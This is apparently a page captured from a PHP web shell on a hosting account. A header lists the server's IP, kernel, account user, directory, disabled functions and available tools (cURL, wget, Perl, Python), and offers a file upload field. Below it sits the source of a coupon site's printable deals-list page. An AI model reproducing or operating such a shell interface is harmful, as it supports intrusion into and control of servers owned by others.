. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 213.186.33.4 / Your IP :
216.73.216.146 [
Web Server : Apache System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : dealkatnwc ( 662330) PHP Version : 7.0.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/dealkatnwc/www/GDEAL/pages/ |
Upload File : |
<?php
include 'class/coupon.class.php';
include 'config.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php include 'header.php';?>
</head>
<body>
<div id="wrapper">
<?php
$managerCou = new CouponManager($db);
$listeDeal = $managerCou->getListDealEnCours();
// var_dump($listeDeal);
?>
<!-- Page Content -->
<div class="row">
<div class="col-lg-12">
<b>Nos Deals En Cours <span style="color: black;font-size: xx-small;">le <?php echo date('Y/m/d \à H:i');?></span></b>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<?php foreach ($listeDeal as $deal) { ?>
<div class="row well well-sm" style="font-size: 10px;">
<div class="col-lg-3 col-xs-3 text-center">
<img src='<?php echo $deal['image'];?>' width='100%'>
</div>
<div class="col-lg-3 col-xs-3">
<a href='<?php echo $home."/?p=".$deal['id']; ?>' target='_blanc'><b><?php echo $deal['titre'];?></b></a>
<?php
echo "<br>Prix : <b>".$deal['prix_promo']."</b><sup>Dt.</sup> au lieu de <b><s>".$deal['prix_reel']."</s></b><sup>Dt.</sup><br>
Date d'expiration : <b>".date("Y-m-d H:i", $deal['df'])."</b><br>
Partenaire : <b>".$deal['p_nom']."</b><br>
".$deal['p_adresse_complet']." (".$deal['p_tel'].")";
?>
</div>
<div class="col-lg-3 col-xs-3">
<b>L'offre comprend :</b>
<?php for($j=0;$j <ceil(count($deal['loffrecmprn'])/2);$j++)echo "<br>* ".$deal['loffrecmprn'][$j]; ?>
</div>
<div class="col-lg-3 col-xs-3">
<?php for($j=ceil(count($deal['loffrecmprn'])/2);$j <count($deal['loffrecmprn']);$j++)echo "<br>* ".$deal['loffrecmprn'][$j]; ?>
</div>
</div>
<?php } ?>
<div class="row-fluid">
<div class="col-lg-12 col-xs-12 text-center">
</div>
<div id="footer"><p>Developed by <b>DEALKA TEAM</b> 2016. </p></div>
<script type="text/javascript">window.print();</script
</div>
<!-- /#page-wrapper -->
</div>
<!-- /#wrapper -->
<!-- jQuery -->
<script src="../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../bower_components/metisMenu/dist/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
</body>
</html>